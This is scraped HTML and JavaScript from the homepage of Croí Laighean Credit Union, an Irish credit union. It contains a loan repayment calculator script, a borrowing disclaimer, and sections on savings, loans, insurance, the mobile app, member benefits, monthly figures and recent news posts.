//var varSliderTermValue = jQuery("#sliderTerm").slider("value");
function calculateSliderValues(apr,inter,varSliderAmountValue,varSliderTermValue) {
if(jQuery(".selectloantype").val() == 7){
if(varSliderTermValue >= 60 && varSliderAmountValue >= 25000){
apr = Number('7.76');
inter = Number('7.5');
}
jQuery("#apr").val(apr+"% APR");
}
calculateSliderInclusive("Weekly",apr,inter,varSliderAmountValue,varSliderTermValue);
calculateSliderInclusive("Fortnightly",apr,inter,varSliderAmountValue,varSliderTermValue);
calculateSliderInclusive("Monthly",apr,inter,varSliderAmountValue,varSliderTermValue);
}
function calculateSliderInclusive(period,apr,inter,varSliderAmountValue,varSliderTermValue) {
//var varSliderAmountValue = jQuery("#sliderAmount").slider("value");
//var varSliderTermValue = jQuery("#sliderTerm").slider("value");
var globalLoanInterestRate = inter;
var globalLoanAPR = apr;
blnCalculate = false;
// Calculates the periodic repayment amount
// Get the user's input from the form. Assume it is all valid.
// SLIDER
var principal = parseInt(Number(varSliderAmountValue));
var payments = parseFloat(varSliderTermValue / 12);
var interest;
var time;
var number;
var pperiod;
var principalB = principal;
if (isNaN(varSliderAmountValue)) {
setTimeout('checkPrincipal()', 100);
return false;
}
intrate = globalLoanInterestRate;
var strMonthSingularText = "month";
var strMonthPluralText = "months";
var strYearSingularText = "year";
var strYearPluralText = "years";
if (payments == 1) {
number = " (" + payments + " " + strYearSingularText + ")";
} else if ((payments - Math.floor(payments)) == 0) {
if (payments < 10) {
number = " (" + payments.toPrecision(1) + " " + strYearPluralText + ")";
} else if ((payments >= 10) && (payments < 100)) {
number = " (" + payments.toPrecision(2) + " " + strYearPluralText + ")";
} else if (payments >= 100) {
number = " (" + payments.toPrecision(3) + " " + strYearPluralText + ")";
}
} else if (payments < 0.1) {
number = " (" + payments.toPrecision(1) + " " + strYearPluralText + ")";
} else if (payments < 1) {
number = " (" + payments.toPrecision(2) + " " + strYearPluralText + ")";
} else if (payments >= 10) {
number = " (" + payments.toPrecision(4) + " " + strYearPluralText + ")";
} else {
number = " (" + payments.toPrecision(3) + " " + strYearPluralText + ")";
}
//alert(varSliderTermValue);
if (period == "Weekly") {
pperiod = "week";
interest = ((intrate / 365.25) * 7) / 100;
time = pperiod + "s";
payments = payments * 52;
} else if(period == "Fortnightly") {
pperiod = "fortnight";
interest = ((intrate / 365.25) * 14) / 100;
time = pperiod + "s";
payments = payments * 26;
} else if(period == "Four Weekly") {
pperiod = "4 weeks";
interest = ((intrate / 365.25) * 28) / 100;
time = "weeks";
payments = payments * 13;
} else if(period == "Monthly") {
//pperiod = "month";
pperiod = strMonthSingularText;
interest = (intrate / 12) / 100;
//interest = ((intrate / 365.25) * 12) / 100;
if (varSliderTermValue == 1) {
time = pperiod;
} else {
//time = pperiod + "s";
time = strMonthPluralText;
}
payments = payments * 12;
}
IR = interest + 1;
IR = Math.pow(IR, payments);
// Now compute the periodic repayment figure
Fig1 = principalB * IR;
Fig2 = IR - 1;
Fig3 = Fig2 / interest;
monthly = Fig1 / Fig3;
// Now compute the periodic repayment figure (irrespective of rpi)
Fig1B = principal * IR;
Fig2B = IR - 1;
Fig3B = Fig2B / interest;
monthlyB = Fig1B / Fig3B;
// Check that the result is a finite number. If so, display the results
if (!isNaN(monthly) &&
(monthly != Number.POSITIVE_INFINITY) &&
(monthly != Number.NEGATIVE_INFINITY)) {
if (Number(intAditionalCharge) > 0) {
finalRepayment = Number(round(monthly)) + Number(intAditionalCharge);
} else {
finalRepayment = round(monthly);
}
// ROUNDING METHOD
if (intRoundingType == 0) {
// Standard rounding, change nothing
finalRepaymentAfterRounding = finalRepayment;
//finalTotalAfterRounding = Number(round(monthly * payments)) + Number(payments) * Number(intAditionalCharge);
finalTotalAfterRounding = Number(round(monthly * payments));
finalInterestAfterRound = round((monthlyB * payments) - principal);
} else if (intRoundingType == 1) {
// Round up to the nearest unit
finalRepaymentAfterRounding = Math.ceil(finalRepayment);
//finalTotalAfterRounding = Math.ceil(Number(round(monthly * payments)) + Number(payments) * Number(intAditionalCharge));
finalTotalAfterRounding = Math.ceil(Number(round(monthly * payments)));
finalInterestAfterRound = Math.ceil(round((monthlyB * payments) - principal));
} else {
// Rounding type not specifiec, use standard
finalRepaymentAfterRounding = finalRepayment;
//finalTotalAfterRounding = Number(round(monthly * payments)) + Number(payments) * Number(intAditionalCharge);
finalTotalAfterRounding = Number(round(monthly * payments));
finalInterestAfterRound = round((monthlyB * payments) - principal);
}
if(period == "Weekly") {
document.getElementById('paymentSliderWeekly').value = "\u20ac" + addThousandCommas(round(finalRepaymentAfterRounding), 'true');
document.getElementById('paymentSliderTotalWeekly').value = "\u20ac" + addThousandCommas(round(finalTotalAfterRounding), 'true');
document.getElementById('paymentSliderTotalInterestWeekly').value = "\u20ac" + addThousandCommas(round(finalInterestAfterRound), 'true');
} else if(period == "Fortnightly") {
document.getElementById('paymentSlider2Weeks').value = "\u20ac" + addThousandCommas(round(finalRepaymentAfterRounding), 'true');
document.getElementById('paymentSliderTotal2Weeks').value = "\u20ac" + addThousandCommas(round(finalTotalAfterRounding), 'true');
document.getElementById('paymentSliderTotalInterest2Weeks').value = "\u20ac" + addThousandCommas(round(finalInterestAfterRound), 'true');
} else if(period == "Four Weekly") {
document.getElementById('paymentSlider4Weeks').value = "\u20ac" + addThousandCommas(round(finalRepaymentAfterRounding), 'true');
document.getElementById('paymentSliderTotal4Weeks').value = "\u20ac" + addThousandCommas(round(finalTotalAfterRounding), 'true');
document.getElementById('paymentSliderTotalInterest4Weeks').value = "\u20ac" + addThousandCommas(round(finalInterestAfterRound), 'true');
} else if(period == "Monthly") {
document.getElementById('paymentSliderMonthly').value = "\u20ac" + addThousandCommas(round(finalRepaymentAfterRounding), 'true');
document.getElementById('paymentSliderTotalMonthly').value = "\u20ac" + addThousandCommas(round(finalTotalAfterRounding), 'true');
document.getElementById('paymentSliderTotalInterestMonthly').value = "\u20ac" + addThousandCommas(round(finalInterestAfterRound), 'true');
document.getElementById('term').value = varSliderTermValue + " " + time + number;
}
// period,apr,inter,varSliderAmountValue,varSliderTermValue
var urls = "https://social.clcu.ie/website-loan-application/?amount="+varSliderAmountValue+"&term="+varSliderTermValue+"&rate="+inter+"&type="+jQuery('.selectloantype option:selected').text()+"&apr="+apr+"";
//console.log(urls);
jQuery("#applylinks").attr("href",urls);
blnCalculate = true;
}
}
function addThousandCommas(num, hasDecimal) {
// Adds a thousand comma to a number where appropriate
varFinal = Number(num).toFixed(0).toString();
hasDecimal = "false";
varNumLen = varFinal.length;
// Check if there is a decimal place
if (hasDecimal == "true") {
varDecimalAmount = 3;
} else {
varDecimalAmount = 0;
}
// Add first thousand comma
if (varNumLen > (3 + varDecimalAmount)) {
varFirstHalf = varFinal.substr(0, varNumLen - (3 + varDecimalAmount));
varSecondHalf = varFinal.substr(varNumLen - (3 + varDecimalAmount), varNumLen);
varFinal = varFirstHalf + "," + varSecondHalf;
varNumLen = varFinal.length;
}
// Add second thousand comma
if (varNumLen > (7 + varDecimalAmount)) {
varFirstHalf = varFinal.substr(0, varNumLen - (7 + varDecimalAmount));
varSecondHalf = varFinal.substr(varNumLen - (7 + varDecimalAmount), varNumLen);
varFinal = varFirstHalf + "," + varSecondHalf;
varNumLen = varFinal.length;
}
// Add third thousand comma
if (varNumLen > (11 + varDecimalAmount)) {
varFirstHalf = varFinal.substr(0, varNumLen - (11 + varDecimalAmount));
varSecondHalf = varFinal.substr(varNumLen - (11 + varDecimalAmount), varNumLen);
varFinal = varFirstHalf + "," + varSecondHalf;
varNumLen = varFinal.length;
}
// Add fourth thousand comma
if (varNumLen > (15 + varDecimalAmount)) {
varFirstHalf = varFinal.substr(0, varNumLen - (15 + varDecimalAmount));
varSecondHalf = varFinal.substr(varNumLen - (15 + varDecimalAmount), varNumLen);
varFinal = varFirstHalf + "," + varSecondHalf;
varNumLen = varFinal.length;
}
return varFinal;
}
function checkPrincipal() {
alert("Please enter an amount that you would like to borrow");
if (document.getElementById('principal') != null) {
document.getElementById('principal').focus();
}
}
function round(x) {
// This simple method rounds a number to two decimal places.
valRounded = Math.round(x * 100) / 100;
valRounded = "" + valRounded + "";
decLoc = valRounded.indexOf(".");
if (decLoc != -1) {
array1 = valRounded.split(".");
if (array1[1].length != 2) {
valRounded = valRounded + "0";
}
} else {
valRounded = valRounded + ".00";
}
return valRounded;
}
function amountDecrement() {
var amountCurrentValue = jQuery("#sliderAmount").slider("value");
var amountNewValue = amountCurrentValue - 100;
jQuery("#sliderAmount").slider("value", amountNewValue);
updateValues();
}
function amountIncrement() {
var amountCurrentValue = jQuery("#sliderAmount").slider("value");
var amountNewValue = amountCurrentValue + 100;
jQuery("#sliderAmount").slider("value", amountNewValue);
updateValues();
}
function termDecrement() {
var termCurrentValue = jQuery("#sliderTerm").slider("value");
var termNewValue = termCurrentValue - 1;
jQuery("#sliderTerm").slider("value", termNewValue);
updateValues();
}
function termIncrement() {
var termCurrentValue = jQuery("#sliderTerm").slider("value");
var termNewValue = termCurrentValue + 1;
jQuery("#sliderTerm").slider("value", termNewValue);
updateValues();
}
function updateValues() {
varSliderAmountValue = jQuery("#sliderAmount").slider("value");
jQuery("#amount").val("\u20ac" + addThousandCommas(varSliderAmountValue.toString(), 'false'));
jQuery("#term").val(jQuery("#sliderTerm").slider("value") + " months");
//changeAPRValue();
calculateSliderValues(Number(jQuery("#aprvals").val()),Number(jQuery("#intervals").val()),jQuery("#sliderAmount").slider("value"),jQuery("#sliderTerm").slider("value"));
}
function setCookie(cname, cvalue, exdays) {
var d = new Date();
d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
var expires = "expires=" + d.toGMTString();
document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
}
</script>
</div>
<div class="warning_text">
<p><small><strong>Warning: If you do not meet the repayments on your loan, your loan, your account will go into arrears. This may affect your credit rating, which may limit ability to access credit in the future.</strong></small></p>
<p>While every care has been made in the production of this web page, the Credit Union, or any of its staff, cannot be held responsible for any omissions, errors or other mistakes on the site. This calculator is for illustrative purposes only, to give you, the borrower, an overview of the potential cost of borrowing.</p>
<p>Loan amounts and 99% approval rate is based on figures from 2020. Rates are correct as of 1/02/2022 and are subject to change. Croí Laighean Credit Union is regulated by the <a href="http://www.centralbank.ie/" target="_blank" rel="noopener">Central Bank of Ireland</a>.</p>
</div>
</div>
</div>
</div>
</div>
<div id="what-we-do-2"></div>
<div class="tab-pane fade " id="tab_2" role="tabpanel">
<div class="res-tab " datarowcolor="#009c86" style="background-color:#009c86 " >Our Services</div>
<div class="container">
<div class="service-title-cont">
<div class="services_cont">
<div class="letf-title-cont">
<h3><a href="https://www.clcu.ie/services/" title="Services">Services</a></h3>
</div>
</div>
<div class="service-boxes matchHeight">
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit-union-savings" title="savings" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/savings.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/savings.svg" alt="Credit-union-savings" title="savings"></noscript>
<strong>Savings</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Savings</div>
<div class="history-desc"><p>Lay a solid foundation for your future with our savings schemes:</p>
<ul>
<li>Share Account</li>
<li>Family Account</li>
<li>School Savers</li>
<li>Saving Stamps</li>
</ul>
</div>
<div class="view_more"><a href="https://www.clcu.ie/current-account-overview/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="CLCU-loans" title="loans" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/loans.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/loans.svg" alt="CLCU-loans" title="loans"></noscript>
<strong>Loans</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Loans</div>
<div class="history-desc"><p><strong>Options to suit all needs (99% approval rate)</strong></p>
<ul>
<li>Back to school</li>
<li>Business</li>
<li>Car</li>
<li>Celebrations</li>
<li>Consolidation</li>
<li>Home improvements</li>
<li>Mortgages</li>
<li>& lots more options!</li>
</ul>
</div>
<div class="view_more"><a href="https://www.clcu.ie/credit-union-loan/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit Union App" title="icons_services_personal_account-green" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/icons_services_personal_account-green.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/icons_services_personal_account-green.svg" alt="Credit Union App" title="icons_services_personal_account-green"></noscript>
<strong>Personal Account</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Personal Account</div>
<div class="history-desc"><p>We provide all the benefits of a regular current account, with a more personal approach.</p>
<ul>
<li>Current Account & Mastercard® Debit Card</li>
</ul>
</div>
<div class="view_more"><a href="https://www.clcu.ie/current-account-overview/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Croi-Laighean-Insurance" title="Insurance" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/Insurance.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/Insurance.svg" alt="Croi-Laighean-Insurance" title="Insurance"></noscript>
<strong>Insurance</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Insurance</div>
<div class="history-desc"><p>Peace of mind with Ireland’s fairest policies, covering Home, Life & Travel Insurance.</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/links/credit-union-insurance/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit Union Foreign Exchange" title="exchange-green" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/exchange-green.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/exchange-green.svg" alt="Credit Union Foreign Exchange" title="exchange-green"></noscript>
<strong>Foreign Exchange</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Foreign Exchange</div>
<div class="history-desc"><p>Skip the airport queues and tick off your travel checklist with our commission-free foreign exchange service.</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/links/foreign-currency-services/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit Union Bill Payments" title="icons_services_billpayments-red" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/icons_services_billpayments-red.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/icons_services_billpayments-red.svg" alt="Credit Union Bill Payments" title="icons_services_billpayments-red"></noscript>
<strong>Bill Payments</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Bill Payments</div>
<div class="history-desc"><p>Stay on top of your finances by conveniently paying your bills through us.</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/bill-payments/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit Union Online Services" title="cu-online" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/cu-online-1.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/cu-online-1.svg" alt="Credit Union Online Services" title="cu-online"></noscript>
<strong>CU Online & CU Mobile App</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">CU Online & CU Mobile App</div>
<div class="history-desc"><p>Your account at your fingertips, <b>24/7 </b></p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/online-mobile-banking/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Community Fund" title="Community Fund" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/Community-Fund.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/Community-Fund.svg" alt="Community Fund" title="Community Fund"></noscript>
<strong>Community Support</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Community Support</div>
<div class="history-desc"><p>Every year, we give back over <b>€50,000</b> to organisations and schools within our local community.</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/our-community/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit Union Members Draw" title="members-draw-yellow" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/members-draw-yellow.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/members-draw-yellow.svg" alt="Credit Union Members Draw" title="members-draw-yellow"></noscript>
<strong>Members Draw</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Members Draw</div>
<div class="history-desc"><p>We have <b>€20,000</b> to give away every month in our famous draw — will you be one of the lucky members?</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/links/members-draw/" title="View More">View More</a></div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="what-we-do-3"></div>
<div class="tab-pane fade " id="tab_3" role="tabpanel">
<div class="res-tab " datarowcolor="#0082c2" style="background-color:#0082c2 " >Why Choose Us</div>
<div class="container">
<div class="whychoose-title-cont matchHeight">
<div class="letf-title-cont">
<h3>Why Choose Us</h3>
<p>We combine all the traditional friendliness of a credit union with the modern banking facilities you demand, such as instant, real-time <a href="https://www.clcu.ie/online-mobile-banking/" target="_blank" rel="noopener">online access</a> to your account and our convenient mobile app which lets you manage your finances while on the move.</p>
<p>When you join us, you’ll become part of a community to lean on for help. Croí Laighean Credit Union is not-for-profit so any surplus is channelled into providing members with better products and services, loan rebates, or dividends. We also help our <a href="https://www.clcu.ie/community-support/" target="_blank" rel="noopener">local community</a> flourish through sponsorship initiatives that support schools, organisations and clubs in your area.</p>
<br>
<h4><b>Over the last 7 years we have donated over €728,000 to the local community</b></h4>
<br>
<center><div class="rll-youtube-player" data-src="https://www.youtube.com/embed/5iTb4SBGwMI" data-id="5iTb4SBGwMI" data-query="" data-alt="YouTube video player"></div><noscript><iframe width="560" height="315" src="https://www.youtube.com/embed/5iTb4SBGwMI" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></noscript></center>
</div>
</div>
</div>
</div>
<div id="what-we-do-4"></div>
<div class="tab-pane fade " id="tab_4" role="tabpanel">
<div class="res-tab " datarowcolor="#fab500" style="background-color:#fab500 " >Croí Laighean App</div>
<div class="container">
<div class="croilaighean-title-cont">
<h3>Croí Laighean Mobile App</h3>
<div class="feature_row">
<div class="feature_left">
<p>Get full access to your account with a few simple taps on your smartphone or tablet. It’s never been easier to manage your money on the go, 24/7. Unlock a whole new level of convenience by downloading the Croí Laighean Mobile App today.</p>
<p>This facility is open to all members who have registered for online access. Register for online access <a href="https://secure.clcu.ie/Register" target="_blank" rel="noopener">here</a> or learn how to sign up for our Mobile app <a href="https://www.clcu.ie/online-mobile-banking/">here</a>.</p>
<p><strong>All our benefits at your fingertips</strong></p>
<ul>
<li>Check your account Credit Union balances on the go</li>
<li>Pay your bills</li>
<li>Transfer funds between your own accounts</li>
<li>Transfer funds to non- Credit Union accounts</li>
<li>Secure member login — you’ll have peace of mind knowing your data is fully secure</li>
</ul>
<p><strong>Terms and conditions apply. </strong></p>
<div class="app_icon_feature">
<a href="https://apps.apple.com/ie/app/cro%C3%AD-laighean-credit-union/id1145914849" target="_blank"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Croí Laighean Apple App Store" title="App Store" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2019/11/App-Store.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2019/11/App-Store.svg" alt="Croí Laighean Apple App Store" title="App Store"></noscript></a>
</div>
<div class="app_icon_feature">
<a href="https://play.google.com/store/apps/details?id=ie.progress.edenderrycumobile&hl=en" target="_blank"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Croí Laighean Credit Union Play Store App" title="Play Store" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2019/11/Play-Store.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2019/11/Play-Store.svg" alt="Croí Laighean Credit Union Play Store App" title="Play Store"></noscript></a>
</div>
</div>
<div class="feature_middle">
<div class="center-img">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Croí Laighean Credit Union app" title="Phone image" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/11/Phone-image.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/11/Phone-image.svg" alt="Croí Laighean Credit Union app" title="Phone image"></noscript>
</div>
</div>
<div class="feature_right">
<div class="right_key_features">
<div class="icon-key-features">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit Union Secure Banking" title="secure-login" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/secure-login.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/secure-login.svg" alt="Credit Union Secure Banking" title="secure-login"></noscript>
</div>
<div class="right_cont">
<h4>Secure member login</h4>
<p>you’ll have peace of mind knowing your data is fully secure</p>
</div>
</div>
<div class="right_key_features">
<div class="icon-key-features">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="account-balance" title="account-balance" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/account-balance.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/account-balance.svg" alt="account-balance" title="account-balance"></noscript>
</div>
<div class="right_cont">
<h4>Account balance</h4>
<p>Check your account balances on the go</p>
</div>
</div>
<div class="right_key_features">
<div class="icon-key-features">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="transfer-funds" title="transfer-funds" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/transfer-funds.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/transfer-funds.svg" alt="transfer-funds" title="transfer-funds"></noscript>
</div>
<div class="right_cont">
<h4>Transfer funds</h4>
<p>Transfer funds between your own accounts and to non-Credit Union accounts</p>
</div>
</div>
<div class="right_key_features">
<div class="icon-key-features">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="pay-bills" title="pay-bills" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/pay-bills.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/pay-bills.svg" alt="pay-bills" title="pay-bills"></noscript>
</div>
<div class="right_cont">
<h4>Pay bills</h4>
<p>Pay your bills</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="what-we-do-5"></div>
<div class="tab-pane fade " id="tab_5" role="tabpanel">
<div class="res-tab " datarowcolor="#93d500" style="background-color:#93d500 " >Member Benefits</div>
<div class="container">
<div class="whychoose-title-cont matchHeight">
<div class="letf-title-cont">
<h3>Member Benefits</h3>
<p>We're free to join!</p>
<p>Every month we give away a minimum of €20,000 to members participating in our members draw*.</p>
<p><b>Nomination of your funds*</b>: This facility enables you to nominate a recipient of your funds should you pass away. The nomination facility ensures that your funds are easily transferred to your loved ones in a timely manner.</p>
<p><b>Free Loan Insurance*</b>: Your loans are insured at no direct cost to you which means that in the event of your passing, any outstanding loan balance will be paid off to relieve any financial stress on your loved ones, during this difficult period.</p>
<p><b>Life benefit insurance*</b>: This is a unique additional benefit at no direct cost to you, paid to your nominated person in the event of your death.</p>
<br>
* Terms and conditions apply </div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="figure_service_sec_wrap">
<div class="container">
<div class="last_month_figure_wrap">
<div class="last_month_figure_title">
Last month’s figures </div>
<div class="last_month_figure_sub_title">
Our numbers for October 2023 </div>
<div class="last_month_repeter_wrap">
<div class="last_month_repeterbx">
<div class="last_month_repeter">
<div class="icon"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="Loans-approved" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/02/Loans-approved.svg" /><noscript><img src="https://www.clcu.ie/wp-content/uploads/2022/02/Loans-approved.svg" title="Loans-approved" /></noscript></div>
<div>
<div class="counter_text">610</div>
<div class="title">Loans approved</div>
</div>
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<div class="last_month_repeterbx">
<div class="last_month_repeter">
<div class="icon"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="Loans-paid-out" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/02/Loans-paid-out.svg" /><noscript><img src="https://www.clcu.ie/wp-content/uploads/2022/02/Loans-paid-out.svg" title="Loans-paid-out" /></noscript></div>
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<div class="counter_text">5,136,296</div>
<div class="title">Loans paid out</div>
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<div class="last_month_repeter">
<div class="icon"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="New-members-accounts" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/02/New-members-accounts.svg" /><noscript><img src="https://www.clcu.ie/wp-content/uploads/2022/02/New-members-accounts.svg" title="New-members-accounts" /></noscript></div>
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<div class="counter_text">137</div>
<div class="title">New members</div>
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<div class="title">Get A 5 Year Fixed Rate Loan Of 6%</div>
<div class="sub_title"><b>Switch Your Loan Today!</b></div>
<div class="content">If you have an existing personal loan with a bank or other lender you can switch to our 5-year fixed loan with a low rate of 6% (6.17% APR).</div>
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<div class="title">Time for a new car?</div>
<div class="sub_title">Car loans from 5.5%!</div>
<div class="content">Get in gear and get on the road with a Credit Union Car Loan. In the last year, we’ve helped our members buy cars by lending almost €12 million.</div>
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<div class="service_content">From Home Improvement Loans to Car Loans to Covered Loans, we have a wide range of Credit Union loans to suit your needs and repayment ability.</div>
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<div class="service_content">When you save with Croí Laighean Credit Union, you’re not just a customer, but a member of a Credit Union that provides security & protection for your savings.</div>
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<div class="service_content">The Current Account from Croí Laighean Credit Union gives you all the benefits you expect from a current account, but with the trusted Credit Union personal touch.</div>
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<div class="service_content">Backed by some of the leading Insurance companies in Royal London, RSA, AIG, Liberty and Mapfre. We will ensure that you get a fair quote every time.</div>
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<div class="service_title">Member benefits</div>
<div class="service_content">We have a range of member benefits that you will not get from traditional banks and our customer service has awarded the best in Ireland for the past 6 years.</div>
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<div class="service_content">We have donated over €600,000 to the local community over the last 6 years and as we grow, we will have more to contribute. </div>
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<div class="latest_post_title">Latest posts</div>
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<a href="https://www.clcu.ie/events/keeping-your-account-safe-from-fraud/" title="Keeping Your Account Safe From Fraud">
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/keeping-your-account-safe-from-fraud/" title="Keeping Your Account Safe From Fraud">Keeping Your Account Safe From Fraud</a></div>
<div class="latest_posts_news_date">22nd Feb 2023</div>
<div class="latest_posts_content">We have compiled this post to alert you about the recent surge in...</div>
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<a href="https://www.clcu.ie/events/clcu-social-impact-report/" title="CLCU Social Impact Report">
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/clcu-social-impact-report/" title="CLCU Social Impact Report">CLCU Social Impact Report</a></div>
<div class="latest_posts_news_date">12th Sep 2023</div>
<div class="latest_posts_content">Our Social Impact Report highlights the key role that Croí Laighean Credit Union...</div>
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<a href="https://www.clcu.ie/events/competition-time/" title="Competition Time">
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/competition-time/" title="Competition Time">Competition Time</a></div>
<div class="latest_posts_news_date">27th Oct 2023</div>
<div class="latest_posts_content">To mark the clocks going back tonight and the dark winter evenings creeping...</div>
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<a href="https://www.clcu.ie/events/tips-to-help-manage-back-to-school-expenses/" title="Tips To Help Manage Back To School Expenses">
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/tips-to-help-manage-back-to-school-expenses/" title="Tips To Help Manage Back To School Expenses">Tips To Help Manage Back To School Expenses</a></div>
<div class="latest_posts_news_date">28th Aug 2020</div>
<div class="latest_posts_content">Managing your back-to-school expenses can be quite stressful. From bus passes to iPads,...</div>
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<a href="https://www.clcu.ie/events/student-tips-for-money-management/" title="Student Money Management Tips">
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/student-tips-for-money-management/" title="Student Money Management Tips">Student Money Management Tips</a></div>
<div class="latest_posts_news_date">20th Sep 2022</div>
